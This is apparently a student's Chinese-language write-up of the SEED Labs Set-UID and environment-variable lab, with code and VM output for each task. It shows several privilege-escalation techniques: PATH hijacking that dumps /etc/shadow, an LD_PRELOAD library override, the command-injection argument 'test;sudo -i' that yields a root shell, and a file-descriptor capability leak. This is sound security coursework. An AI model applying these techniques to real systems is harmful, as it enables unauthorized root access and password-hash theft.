SeedLab——Environment Variable and Set-UID Program Lab

SeedLab——Environment Variable and Set-UID Program Lab

Task 1: Manipulating Environment Variables

输出环境变量

seed@VM:~/lab6$ printenv # 输出所有环境变量
SHELL=/bin/bash
COLORTERM=truecolor
TERM_PROGRAM_VERSION=1.83.1
PWD=/home/seed/lab6
LOGNAME=seed
# 略

seed@VM:~/lab6$ printenv PWD # 输出PWD环境变量,即当前的目录
/home/seed/lab6

exportunset,设置和销毁环境变量

seed@VM:~/lab6$ export caixingcaixing=0314 # 设置一个环境变量
seed@VM:~/lab6$ printenv caixingcaixing # 输出刚刚设置的环境变量
0314
seed@VM:~/lab6$ unset caixingcaixing # 销毁刚刚设置的环境变量
seed@VM:~/lab6$ printenv caixingcaixing # 发现删除成功

Task 2: Passing Environment Variables from Parent Process to Child Process

首先在父进程中输出环境变量,然后修改代码,在子进程中输出环境变量。使用diff比较两次编译运行的结果,发现环境变量相同,可知fork()复制进程会将环境变量一起复制,子进程继承了父进程的环境变量

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
     printf("%s\n", environ[i]);
     i++;
  }
}

void main()
{
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      // printenv();          
      exit(0);
    default:  /* parent process */
      printenv();       
      exit(0);
  }
}

image-20231030162827607

Task 3: Environment Variables and execve()

在这个程序中,execve("/usr/bin/env", argv, NULL),第三个参数 envp 被设置为 NULL,这意味着新程序将使用一个空的环境变量列表。换句话说,新程序将没有任何环境变量可用,所以编译运行这段代码,输出结果为空。

#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, NULL);

  return 0;
}

而在这个程序中,execve("/usr/bin/env", argv, environ),第三个参数 envp 被设置为 environ,这是一个指向当前进程环境变量列表的指针。每个程序都有一个环境表,它是一个字符指针数组,其中每个指针包含一个以NULL结尾的C字符串的地址。全局变量environ则包含了该指针数组的地址:

extern char **environ;

这意味着新程序将继承调用进程的环境变量。新程序可以访问和使用与调用进程相同的环境变量。

#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, environ);

  return 0;
}

因此,execve()产生的新进程的环境变量需要在调用时进行传递。如果想让新进程继承当前进程的环境变量,可以直接使用 extern char **environ 来访问当前进程的环境变量,并将其传递给 execve()envp 参数。

Task 4: Environment Variables and system()

使用man system指令查看system()函数的用法。根据文档的描述,system() 库函数使用 fork(2) 创建一个子进程,然后使用 execl(3) 执行指定的 shell 命令。在命令执行期间,system() 调用的进程会阻塞 SIGCHLD 信号,并忽略 SIGINTSIGQUIT 信号。这些信号在执行 command 的子进程内按照默认方式处理。如果 command 参数为 NULL,则 system() 会返回一个状态,指示系统上是否可用 shell。简而言之,与execve()系统调用不同的是,system()通过创建子进程并调用 /bin/sh 执行指定的命令,使得命令能够在系统上执行。

seed@VM:~/lab6$ man system
SYSTEM(3)                                             Linux Programmer's Manual                                            SYSTEM(3)
NAME
       system - execute a shell command
SYNOPSIS
       #include <stdlib.h>
       int system(const char *command);
DESCRIPTION
    The system() library function uses fork(2) to create a child process that executes the shell command specified in command using execl(3) as follows:
    execl("/bin/sh", "sh", "-c", command, (char *) NULL);
    system() returns after the command has been completed.
    During execution of the command, SIGCHLD will be blocked, and SIGINT and SIGQUIT will be ignored, in the process  that  calls
    system().  (These signals will be handled according to their defaults inside the child process that executes command.)
    If command is NULL, then system() returns a status indicating whether a shell is available on the system.

编译运行这段代码,调用 /usr/bin/env 并输出当前环境变量的信息。system() 函数会调用 /bin/sh,并将 /usr/bin/env 作为参数传递给它。然后 /bin/sh 解释并执行该命令。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/usr/bin/env");
    return 0;
}

Task 5: Environment Variable and Set-UID Programs

Set-UID(Set User ID)是一种权限机制,可在执行可执行文件时改变执行者的有效用户 ID(UID)。当一个可执行文件具有 Set-UID 权限时,它会在执行时继承文件所有者的权限,而不是执行者自身的权限。

在 Unix 和类 Unix 系统中,Set-UID 权限可以通过文件的权限位设置。当一个可执行文件设置了 Set-UID 位并且文件所有者是一个特权用户(如 root 用户)时,执行该文件的用户将会获得该文件所有者的权限。

Set-UID 机制通常用于实现特权操作,例如需要访问受限资源或执行需要特权的操作的程序。通过设置 Set-UID,这些程序可以在执行时暂时获得特权,并在完成操作后恢复到执行者的正常权限。因此 Set-UID 权限具有潜在的安全风险,所以在使用的时候需要小心谨慎。

编写程序

#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
    int i = 0;
    while (environ[i] != NULL)
    {
        printf("%s\n", environ[i]);
        i++;
    }
}

编译上述程序,使用chown 命令更改文件的所有者和所属组为 root。chmod 命令用于设置 Set-UID 位,其中 4755 表示设置用户的 Set-UID 位。

seed@VM:~/lab6$ sudo chown root setuid
seed@VM:~/lab6$ sudo chmod 4755 setuid

设置三个环境变量

seed@VM:~/lab6$ export PATH=/usr/bin
seed@VM:~/lab6$ export LD_LIBRARY_PATH=/home/seed/lab6
seed@VM:~/lab6$ export ANY_NAME=Andromeda

运行刚刚编译好的程序,查看在shell(父进程)中设置的三个环境变量是否也存在setuid(子进程)中,发现除了LD_LIBRARY_PATH不在,其他的环境变量都在。这样因为当使用 Set-UID 权限执行可执行文件时,系统会在执行该程序之前重置一些环境变量,其中包括 LD_LIBRARY_PATHLD_LIBRARY_PATH 环境变量用于指定共享库文件的搜索路径。当一个程序需要加载共享库时,系统会在 LD_LIBRARY_PATH 指定的路径中查找相应的库文件。由于安全问题,当以 Set-UID 权限执行程序时,系统会忽略用户设置的 LD_LIBRARY_PATH 环境变量,而使用系统默认的库搜索路径。这样可以防止恶意用户通过设置 LD_LIBRARY_PATH 来加载恶意库文件,从而进行潜在的安全攻击。

seed@VM:~/lab6$ ./setuid | grep "PATH"
PATH=/usr/bin
seed@VM:~/lab6$ ./setuid | grep "LD_LIBRARY_PATH"
seed@VM:~/lab6$ ./setuid | grep "ANY_NAME"
ANY_NAME=Andromeda

Task 6: The PATH Environment Variable and Set-UID Programs

PATH(路径)环境变量是一个用于指定可执行文件搜索路径的环境变量。当你在命令行输入一个命令时,操作系统会根据 PATH 环境变量中指定的路径搜索可执行文件,以确定要执行的程序的位置。PATH 环境变量是一个由多个目录路径组成的列表,各个路径之间用冒号(在 Unix/Linux 系统中)或分号(在 Windows 系统中)分隔开。当你输入一个命令时,操作系统会按照列表中的顺序依次在这些目录下搜索可执行文件,并执行第一个找到的匹配文件。

然后编写我们自己的ls程序,这个程序的目的获取/etc/shadow文件内容,其中包含用户密码的加密信息。(一般情况下只有 root 用户才有权限访问)

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("cat /etc/shadow");
    return 0;
}

然后将存放恶意代码的路径添加在PATH的前面,那么shell执行ls时就会优先到我们设定的路径中寻找目标。编译我们写的ls.c程序。然后运行ls,发现不被允许权限不够,因为查看/etc/shadow需要root权限,所以普通的用户程序无法访问。

seed@VM:~/lab6$ export PATH=/home/seed/lab6:$PATH # 添加环境变量
seed@VM:~/lab6$ gcc -o ls ls.c
seed@VM:~/lab6$ ls
cat: /etc/shadow: Permission denied

编写下面的程序,编译运行。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("ls");
    return 0;
}

正常运行也是权限不够

seed@VM:~/lab6$ gcc -o sysls sysls.c
seed@VM:~/lab6$ ./sysls
cat: /etc/shadow: Permission denied

与前面讲到的set-uid结合在一起。使用chown 命令更改文件的所有者和所属组为 root。chmod 命令设置 Set-UID 位,这样普通用户在执行sysls文件时,就会暂时获得root权限,所以这次就能够以root权限执行我们自己编写的恶意代码了。

seed@VM:~/lab6$ sudo chown root sysls
seed@VM:~/lab6$ sudo chmod u+s sysls
seed@VM:~/lab6$ ./sysls
root:!:18590:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
# 略

Task 7: The LD PRELOAD Environment Variable and Set-UID Programs

动态加载器(Dynamic Loader)或动态链接器(Dynamic Linker)是操作系统或运行时环境的一部分,负责在程序运行时将动态链接库加载到内存并与程序进行链接。它的主要功能是在程序执行时解析和加载动态链接库,并将动态链接库中的函数和符号与程序进行关联,以便程序可以调用和使用这些函数和符号。

我们创建自己的动态链接库,如下所示,定义了自己的sleep()函数。

#include <stdio.h>
void sleep(int s)
{
    /* If this is invoked by a privileged program,
    you can do damages here! */
    printf("I am not sleeping!\n");
}

编译这个动态链接库,并将这个动态链接器加载到环境变量中的LD_PRELOADLD_PRELOAD 是一个环境变量,用于在程序运行时指定要预加载的共享库(shared library)。它可以用于在程序加载时优先加载指定的共享库,覆盖程序本身默认使用的库。

seed@VM:~/lab6$ gcc -fPIC -g -c mylib.c
seed@VM:~/lab6$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
seed@VM:~/lab6$ export LD_PRELOAD=./libmylib.so.1.0.1

编译运行这段代码

/* myprog.c */
#include <unistd.h>
int main()
{
    sleep(1);
    return 0;
}

发现并没有调用正常的sleep()函数,而是调用了我们自己编写动态链接库里的sleep()函数。

seed@VM:~/lab6$ gcc -o myprog myprog.c
seed@VM:~/lab6$ ./myprog
I am not sleeping!

更改myprog的所有者并设置set-uid。然后执行myprog,发现这次的sleep()函数没有运行我们自己编写的,而是运行了正常的sleep()函数。

seed@VM:~/lab6$ sudo chown root myprog
seed@VM:~/lab6$ sudo chmod 4755 myprog
seed@VM:~/lab6$ ./myprog
seed@VM:~/lab6$ 

这是因为,在默认情况下,当一个进程创建子进程时,子进程会继承父进程的环境变量,包括 LD_PRELOAD。但是,有一个安全机制,即只有当执行者的用户ID(effective user ID)与文件拥有者的用户ID匹配时,子进程才会继承 LD_PRELOAD。这个限制的目的是确保只有文件的所有者才能决定要加载的预加载库,以避免恶意用户通过设置预加载库来执行恶意代码或绕过系统的安全措施。

Task 8: Invoking External Programs Using system() versus execve()

编译这段代码

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char *v[3];
  char *command;

  if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }

  v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

  command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
  sprintf(command, "%s %s", v[0], v[1]);

  // Use only one of the followings.
  system(command);
  // execve(v[0], v, NULL);

  return 0 ;
}

编译catcall.c文件,然后运行这段代码,传递参数/etc/shadow,表示获取/etc/shadow文件中的内容,发现权限不够。

seed@VM:~/lab6$ gcc -o catall catall.c
seed@VM:~/lab6$ ./catall /etc/shadow
/bin/cat: /etc/shadow: Permission denied

将其拥有者更改为root用户,并设置set-uid,发现能够获取/etc/shadow文件中的内容。

seed@VM:~/lab6$ sudo chown root catall
seed@VM:~/lab6$ sudo chmod 4755 catall
seed@VM:~/lab6$ ./catall /etc/shadow
root:!:18590:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
# 略

构造参数'test;sudo -i',catall将会获取test文件内容,catall是setuid程序,因此可以构造参数执行sudo -i进入root shell,完成提权。

seed@VM:~/lab6$ ./catall 'test;sudo -i'
pwn!!!root@VM:~# whoami
root

将代码中的system函数修改为execve函数,然后执行下面的命令,发现无法达到和system相同的效果。

seed@VM:~/lab6$ gcc -o catall catall.c
seed@VM:~/lab6$ sudo chown root catall
seed@VM:~/lab6$ sudo chmod u+s catall
seed@VM:~/lab6$ ./catall 'test;sudo -i'
/bin/cat: 'test;sudo -i': No such file or directory
seed@VM:~/lab6$ ./catall test
pwn!!!

因为,使用execve时,系统将 'test;sudo -i' 视为要读取的文件名,而不是作为命令执行。系统尝试使用 /bin/cat 命令来打开名为 'test;sudo -i' 的文件,但无法找到该文件。而使用system时,系统将/bin/cat test;sudo -i作为命令传递给/bin/sh执行,因此会将suod -i解析成sh命令去执行。

Task 9: Capability Leaking

使用man setuid查看setuid函数的官方手册。setuid(getuid()) 是一条系统调用语句,用于将有效用户ID(Effective User ID,EUID)设置为实际用户ID(Real User ID,RUID)。

在这个语句中,getuid() 函数用于获取当前进程的实际用户ID,然后 setuid() 函数将该实际用户ID赋值给有效用户ID。这样做的效果是,当前进程的有效用户ID将与实际用户ID相同,从而降低了进程的权限。

通常情况下,setuid() 函数用于降低进程的权限级别,以增加系统的安全性。通过将有效用户ID设置为非特权用户ID,进程将失去对特权操作的访问权限,从而减少了潜在的安全漏洞。

seed@VM:~/lab6$ man setuid
SETUID(2)                                      Linux Programmer's Manual                                      SETUID(2)

NAME
       setuid - set user identity

SYNOPSIS
       #include <sys/types.h>
       #include <unistd.h>

       int setuid(uid_t uid);

DESCRIPTION
       setuid()  sets  the  effective  user ID of the calling process.  If the calling process is privileged (more pre‐
       cisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved  set-user-ID
       are also set.

       Under  Linux,  setuid()  is implemented like the POSIX version with the _POSIX_SAVED_IDS feature.  This allows a
       set-user-ID (other than root) program to drop all of its user privileges, do some un-privileged work,  and  then
       reengage the original effective user ID in a secure manner.

       If  the  user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effec‐
       tive user ID of the caller and if it is the superuser, all process-related user ID's are set to uid.  After this
       has occurred, it is impossible for the program to regain root privileges.

       Thus, a set-user-ID-root program wishing to temporarily drop root privileges, assume the identity of an unprivi‐
       leged user, and then regain root privileges afterward cannot use setuid().  You can  accomplish  this  with  se‐
       teuid(2).

在/etc目录下创建一个文件zzz,并尝试写入hello,发现权限不够。

seed@VM:~/lab6$ sudo touch /etc/zzz
seed@VM:~/lab6$ echo hello >  /etc/zzz
bash: /etc/zzz: Permission denied

编译运行这段代码

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main()
{
  int fd;
  char *v[2];

  /* Assume that /etc/zzz is an important system file,
   * and it is owned by root with permission 0644.
   * Before running this program, you should create
   * the file /etc/zzz first. */
  fd = open("/etc/zzz", O_RDWR | O_APPEND);        
  if (fd == -1) {
     printf("Cannot open /etc/zzz\n");
     exit(0);
  }

  // Print out the file descriptor value
  printf("fd is %d\n", fd);

  // Permanently disable the privilege by making the
  // effective uid the same as the real uid
  setuid(getuid());                                

  // Execute /bin/sh
  v[0] = "/bin/sh"; v[1] = 0;
  execve(v[0], v, 0);                             
}

执行发现无法打开/etc/zzz文件,因为权限不够。将该可执行文件的所有者设置为root,并设置setuid权限。再次执行,发现可以打开/etc/zzz文件,然后进入sh程序,在sh程序中尝试写入,发现权限又不够了,这是因为在打开sh之前调用了setuid(getuid()),将uid设置为了当前用户的uid,程序失去了root权限。

但是,如果在执行 /bin/sh 前没有显式地关闭该文件描述符fd,那么在新的 shell 进程中,我们仍然可以通过该文件描述符对文件进行操作,通过这种方式绕过了权限限制。

seed@VM:~/lab6$ gcc -o capleak cap_leak.c 
seed@VM:~/lab6$ ./capleak
Cannot open /etc/zzz
seed@VM:~/lab6$ sudo chown root capleak
seed@VM:~/lab6$ sudo chmod u+s capleak
seed@VM:~/lab6$ ./caplead
bash: ./caplead: No such file or directory
seed@VM:~/lab6$ ./capleak
fd is 3
sh-5.0$ echo "hello" > /etc/zzz # 权限不够
sh: /etc/zzz: Permission denied
sh-5.0$ echo "hello" >&3 # 直接对文件描述符操作
sh-5.0$ exit
exit
seed@VM:~/lab6$ sudo cat /etc/zzz # 写入成功
hello
------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞28赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片